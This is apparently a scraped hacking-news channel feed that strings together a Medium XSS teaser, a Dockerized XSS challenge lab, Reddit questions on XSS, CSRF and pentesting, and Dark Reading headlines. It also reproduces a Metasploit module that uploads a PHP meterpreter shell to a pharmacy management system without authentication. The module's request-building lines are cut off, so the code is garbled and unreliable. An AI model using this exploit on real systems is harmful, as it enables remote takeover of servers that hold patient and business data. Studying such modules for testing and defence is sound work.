Every XSS is different
https://medium.com/@leomsec/every-xss-is-different-c98528fee5e0?source=rss------bug_bounty-5

Today I’m going to talk about an XSS that I found on a public bugbounty program about a year ago, this program has multiple websites and…Continue reading on Medium » (https://medium.com/@leomsec/every-xss-is-different-c98528fee5e0?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Xss_Vulnerability_Challenges - This Repository Is A Docker Containing Some "XSS Vulnerability" Challenges And Bypass Examples

https://blogger.googleusercontent.com/img/a/AVvXsEj_COmpFVTQwfwmYLnG0getTBC7BbM2W6hDybWXMreWejYTKxwO5RFAA__skJrEZpT3DzltvwZg5p-OqdvEH0xeDljhb9b4SPdLQsTiJKHzVK4Q6x4v3bdH6kzlAv_D6NSl-W_ya9KPWl07TXSi082vfjDq1I93UvrvriX5OuAgOGQtehQ0tDPDcSL0=s16000
This repository is a Dockerized php application containing some XSS vulnerability challenges.
The ideas behind challenges are:
* Javascript validation bypass
* html entities bypass
* WAF bypass
* Black-list validation bypass
* Basic XSS validation bypass
* Double encode bypass of WAF to exploit XSS
* Exploiting XSS by bypassing escape characters
Quick Start Using Docker

Using docker hub (Quickest):

1. To access the challenges, you need docker installed.

2. Run this command to pull and run the image from docker hub:
sudo docker run -d -p 9003:80 moeinfatehi/xss_vulnerability_challenges
3. Access the challenges with this URL: http://localhost:9003
Help:

-d: detached mode (You can use terminal after running command
-p: specifies port (you can change 8008 to whatever you want. If you don't have a web server on your host, set it to 80)


Using docker-compose:

1. To access the challenges, you need docker and docker-compose installed.

2. Clone the repository
git clone https://github.com/moeinfatehi/xss_vulnerability_challenges.git
3. Open the main directory of the project (where docker-compose.yml file exists) and run: docker-compose up
4. Access the challenges with this URL: http://localhost:9003
https://blogger.googleusercontent.com/img/a/AVvXsEj_COmpFVTQwfwmYLnG0getTBC7BbM2W6hDybWXMreWejYTKxwO5RFAA__skJrEZpT3DzltvwZg5p-OqdvEH0xeDljhb9b4SPdLQsTiJKHzVK4Q6x4v3bdH6kzlAv_D6NSl-W_ya9KPWl07TXSi082vfjDq1I93UvrvriX5OuAgOGQtehQ0tDPDcSL0=s16000

Disclaimer

This project is for Educational purpose ONLY. The usual disclaimer applies, especially the fact that I'm not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these project you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of this program is not my responsibility.

Hack and have fun !

If you have any further questions, please don't hesitate to contact me via my twitter account.
Download Xss_Vulnerability_Challenges

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What is the meaning of Cross Site in XSS & CSRF?

According to owasp;

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

https://owasp.org/www-community/attacks/xss/

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

https://owasp.org/www-community/attacks/csrf

What is the actual meaning of Cross Site in both XSS & CSRF?

submitted by /u/w0lfcat
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to inject/run external Programs in GTA and other games?

I was wondering how to make a Program like the YouTube "DougDoug" did.

He connects the twitch chat to interact with GTA and make things explode or others.

I already know how to connect my twitch(or other chats) with Unity and run actions in my own game, but how to inject code into GTA or run GTA functions??

I have knowledge in HTML, PHP, JS, Java,C#, Lua, Python, but I don't know where to research and start.

But not only GTA ! I want to be able to make a ton of games community interactable, so donations or commands will change Ingame behavior or actions.

submitted by /u/Skytrymotion
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Is penetration testing stressful?
https://www.reddit.com/r/Pentesting/comments/vgraxh/is_penetration_testing_stressful/

People who work as pen testers is your work stressful? How many hours do you guys work for? And do you guys travel a lot? submitted by /u/ELIDAL99 (https://www.reddit.com/user/ELIDAL99)
[link] (https://www.reddit.com/r/Pentesting/comments/vgraxh/is_penetration_testing_stressful/) [comments] (https://www.reddit.com/r/Pentesting/comments/vgraxh/is_penetration_testing_stressful/)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Security Lessons From Protecting Live Events

Security defenders working for large venues and international events need to be able to move at machine speed because they have a limited time to detect and recover from attacks. The show must go on, always.

Dark Reading: Attacks/Breaches
Credential Sharing as a Service: The Hidden Risk of Low-Code/No-Code

Low-code/no-code platforms allow users to embed their existing user identities within an application, increasing the risk of credentials leakage.

Dark Reading: Attacks/Breaches
DDoS Attacks Delay Putin Speech at Russian Economic Forum

A Kremlin spokesman said that the St. Petersburg International Economic Forum accreditation and admissions systems were shut down by a DDoS attack.

Dark Reading: Attacks/Breaches
Name That Toon: Cuter Than a June Bug

Feeling creative? Submit your caption and our panel of experts will reward the winner with a $25 Amazon gift card.

Hacking on Medium
HackThisSite Extended Basic 9

https://cdn-images-1.medium.com/max/700/0*YkVRZlMLIR_rNcNv.jpg
Once again living in the 1800s writing PERL code and hunting for another bug from Captain Kirk. Now writing code to log data is totally…

Continue reading on Medium »

Hacking on Medium
Create a Hidden IRC Server with The Onion Router (TOR)

https://cdn-images-1.medium.com/max/2600/0*5MAM3tiZ1rzgFUS9
A guide to make secret communication with the untraceable IRC server

Continue reading on InfoSec Write-ups »

Exploit Collector
Multi Language Pharmacy Management System 1.0 Shell Upload

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
This Metasploit module exploits the file upload vulnerability of Multi Language Pharmacy Management System to achieve remote code execution.

SHA-256 | 742456930e5e52c2ee76502248a99373d271bc23c86a2afc2380664719fcc4cb

Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# Vendor: https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download
# Source: https://www.sourcecodester.com/php/15281/multi-language-pharmacy-management-system-project-source-code.html
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Multi Language Pharmacy Management System Unauthenticated Remote Code Execution",
'Description' => %q{
This module exploits the file upload vulnerability of Multi Language Pharmacy Management System and allows remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Emirhan Kurt
[
['URL', 'https://prodaft.com']
],
'DefaultOptions' =>
{
'SSL' => false,
'WfsDelay' => 5,
},
'Platform' => ['php'],
'Arch' => [ ARCH_PHP],
'Targets' =>
[
['PHP payload',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 19 2018",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The TARGET URI of the Pharmacy Management', '/'])
]
)
end

def exploit

print_status('Uploading shell...')

fname = rand_text_alphanumeric(rand(10) + 6) + '.php'

boundary = "---------------------------#{rand_text_numeric(29)}"
data_post = "--#{boundary}\r\n"
data_post <<
data_post <<
data_post <<
data_post <<
data_post <<
data_post <<
data_post <<
data_post <<

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'php_action/createProduct.php'),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data_post,
})

if res && res.code == 302 && res.body.include?('Image uploaded successfully')
print_good("Shell uploaded as #{fname}")
else
print_error("Server responded with code #{res.code}")
print_error("Failed to upload shell")
return false
end

print_status('Executing payload...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path,'assets/myimages/'+fname),
'method' => 'GET'
}, 5)

if res
print_good("Payload successfully triggered !")
else
print_error("Server responded with code #{res.code}")
print_error("Failed to upload shell")
return false
end

handler

end
end

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
TP-Link AX50 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video